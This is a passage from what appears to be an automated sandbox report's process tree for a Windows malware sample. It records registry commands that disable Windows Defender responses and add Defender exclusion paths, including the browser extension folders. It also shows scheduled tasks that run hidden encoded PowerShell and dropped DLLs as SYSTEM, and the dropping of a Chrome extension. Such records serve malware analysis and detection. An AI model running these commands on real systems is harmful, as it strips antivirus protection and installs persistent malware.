                              • Modifies data under HKEY_USERS
                              PID:5488
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:5656
                                  • C:\Windows\SysWOW64\reg.exe
                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                    4⤵
                                      PID:5672
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                      PID:5688
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                        PID:5704
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                        3⤵
                                          PID:5720
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                            PID:5736
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                              PID:5752
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                              3⤵
                                                PID:5768
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                3⤵
                                                  PID:5784
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                    PID:5800
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                    3⤵
                                                      PID:5816
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                      3⤵
                                                        PID:5832
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                        3⤵
                                                          PID:5848
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                          3⤵
                                                            PID:5868
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:5884
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:5900
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:5916
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:5932
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:5948
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:5964
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:5980
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:5996
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:6012
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:6028
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:6044
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:6060
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:6076
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:6092
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:6108
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                        2⤵
                                                                                        • Drops file in System32 directory
                                                                                        • Modifies data under HKEY_USERS
                                                                                        PID:6132
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:736
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                              4⤵
                                                                                                PID:5228
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:5260
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
                                                                                                3⤵
                                                                                                  PID:3204
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
                                                                                                  3⤵
                                                                                                    PID:4744
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
                                                                                                    3⤵
                                                                                                      PID:1572
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
                                                                                                      3⤵
                                                                                                        PID:2872
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                          PID:5296
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
                                                                                                          3⤵
                                                                                                            PID:5292
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
                                                                                                            3⤵
                                                                                                              PID:3028
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
                                                                                                              3⤵
                                                                                                                PID:1336
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:3008
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:3292
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:5332
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:1536
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:5348
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:5360
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:1904
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:4336
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:5388
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:5392
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "gDVVmaqMc" /SC once /ST 01:51:08 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3284
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /run /I /tn "gDVVmaqMc"
                                                                                                                                  2⤵
                                                                                                                                    PID:1472
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "gDVVmaqMc"
                                                                                                                                    2⤵
                                                                                                                                      PID:5516
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 01:17:40 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\DKanGUj.exe\" XT /dEsite_idNZT 385118 /S" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2340
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
                                                                                                                                      2⤵
                                                                                                                                        PID:5256
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                      1⤵
                                                                                                                                        PID:5484
                                                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                          2⤵
                                                                                                                                            PID:5780
                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                              3⤵
                                                                                                                                                PID:5768
                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                            1⤵
                                                                                                                                              PID:5856
                                                                                                                                            • C:\Windows\system32\gpscript.exe
                                                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                                                              1⤵
                                                                                                                                                PID:5904
                                                                                                                                              • C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\DKanGUj.exe
                                                                                                                                                C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\DKanGUj.exe XT /dEsite_idNZT 385118 /S
                                                                                                                                                1⤵
                                                                                                                                                • Checks computer location settings
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Drops Chrome extension
                                                                                                                                                • Drops desktop.ini file(s)
                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                PID:528
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3128
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4260
                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1752
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                            4⤵
                                                                                                                                                              PID:3080
                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                5⤵
                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                PID:5380
                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:5732
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\vAeHwP.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
                                                                                                                                                            2⤵
                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                            PID:2564
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\WUGGbkD.xml" /RU "SYSTEM"
                                                                                                                                                            2⤵
                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                            PID:5616
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /END /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5840
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:5148
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\YCfxMSe.xml" /RU "SYSTEM"
                                                                                                                                                                2⤵
                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                PID:5948
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\AvKHovV.xml" /RU "SYSTEM"
                                                                                                                                                                2⤵
                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                PID:6000
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\rYBRMvB.xml" /RU "SYSTEM"
                                                                                                                                                                2⤵
                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                PID:4468
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\aQbGfpM.xml" /RU "SYSTEM"
                                                                                                                                                                2⤵
                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                PID:6108
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /CREATE /TN "QhciBzJOokLnyYZub" /SC once /ST 12:41:20 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ofqvFcNvzeRditbz\ViKQsLpw\WxIZUPa.dll\",#1 /LHsite_idkmI 385118" /V1 /F
                                                                                                                                                                2⤵
                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                PID:5552
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /run /I /tn "QhciBzJOokLnyYZub"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:5516
                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                  schtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:212
                                                                                                                                                                • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\ViKQsLpw\WxIZUPa.dll",#1 /LHsite_idkmI 385118
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:4064
                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
